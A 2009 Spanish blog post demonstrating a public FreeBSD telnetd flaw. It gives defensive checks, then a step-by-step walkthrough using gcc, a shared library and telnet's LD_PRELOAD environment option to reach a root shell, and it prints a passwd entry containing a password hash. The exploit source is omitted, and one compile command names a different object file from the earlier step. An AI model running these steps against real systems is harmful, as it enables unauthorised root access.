Skip to content

Demo. Vulnerabilidad en telnetd premite la escalada de privilegios en FreeBSD

Publicado por Sergio Hernando el 22 febrero 2009

Buenas,

El pasado 15 de febrero se anunció en la lista de seguridad de FreeBSD la publicación en full disclosure de detalles completos para poder, en presencia de telnetd, privilegios de root en las versiones más recientes de FreeBSD.

Se ha escrito bastante sobre el tema, ya que la existencia de problemas de seguridad en FreeBSD es siempre una noticia (no muy frecuente). Voy a aportar mi granito de arena, aprovechando que en la lista se dan detalles concretos, he realizado una réplica del exploit en mi servidor ( FreeBSD 7.0-RELEASE).

Importante

FreeBSD no trae por defecto el servidor telnetd activado. Para lograr éxito, el atacante debe colocar un fichero (ahora veremos cuál) en una ruta conocida (ya que será invocado durante el ataque). Esto es trivial si se dispone de una cuenta, pero es más complicado si no se dispone de ella (habría que colocar el fichero valiéndose de ingeniería social, FTP anónimo, scripts web vulnerables, etc.). En definitiva, en condiciones normales de explotación los sistemas no deberían ser vulnerables, o en su defecto, la explotación debería entrañar un mínimo de complejidad, pero siempre es aconsejable realizar una mínima comprobación, muy especialmente en sistemas expuestos al tráfico anónimo de Internet.

Es importante tener telnetd desactivado, ya que no tiene utilidad alguna existiendo SSH. Para verificar si telnetd está corriendo, basta con ejecutar:

ps ax | grep telnetd | grep -v grep

Si no está funcionando, la ejecución no mostrará nada. En caso contrario aparecerá algo similar a:

# ps ax | grep telnetd | grep -v grep
998 ?? Is 0:00.03 telnetd
1063 ?? Ss 0:00.01 telnetd

También es importante que el demonio no sea invocable desde inetd.conf. La siguiente ejecución no debería mostrar resultados:

grep telnetd /etc/inetd.conf | grep -v ^#

Si es imperativo tener al servidor aceptando comunicaciones telnet, hay que parchear con la máxima premura posible.

Atacando el sistema con una cuenta no privilegiada

1. Abrimos sesión SSH con nuestro usuario no privilegiado. Este usuario no es root y tiene shell.

shernando:$1$xVZHX9KU$9TDRZ8TJW1drb9v0n9.Nr1:1001:1001::0:0:Sergio Hernando:/home/shernando:/bin/sh

2. Creamos un fichero prueba.c, en el que incorporamos el código del exploit

3. Creamos un objeto basado en el fichero anterior

gcc -o prueba.o -c prueba.c -fPIC

4. Finalizamos la compilación

gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles

5. Nuestra carpeta home debería contener ahora los nuevos ficheros:

-rwxr-xr-x 1 shernando shernando 2712 Feb 22 20:48 libno_ex.so.1.0
-rw-r--r-- 1 shernando shernando 197 Feb 22 20:47 prueba.c
-rw-r--r-- 1 shernando shernando 1100 Feb 22 20:47 prueba.o

6. Como tenemos cuenta, no moveremos el fichero libno_ex.so.1.0, evento que puede ser necesario en otro tipo de condiciones de contorno (restricciones en home, etc). En estos casos, se podría mover el fichero al directorio /tmp, que usualmente tiene privilegios laxos.

7. Invocamos telnet

telnet

8. Antes de abrir conexión a la propia máquina, desactivamos la autenticación SRA y le decimos al cliente de dónde tomará las variables de entorno (nuestro fichero compilado)

telnet> auth disable SRA
telnet> environ define LD_PRELOAD /home/shernando/libno_ex.so.1.0

9. Abrimos conexión a la máquina

telnet> open 192.168.213.254

10. Ganamos acceso root

Trying 192.168.213.254...
Connected to 192.168.213.254.
Escape character is '^]'.

FreeBSD/i386 (nas) (ttyp5)

HOLA
# whoami
root

Os dejo un vídeo que muestra el proceso.

Un saludo,

Be Sociable, Share!

Categoría/s → Seguridad

2 comentarios
  1. 23 febrero 2009

    Me pregunto quién sigue usando telnet a estas alturas de milenio :)

  2. 27 febrero 2009

Escribir un comentario

Note: XHTML permitido. Tu email nunca será publicado.

Suscribirse a los comentarios via RSS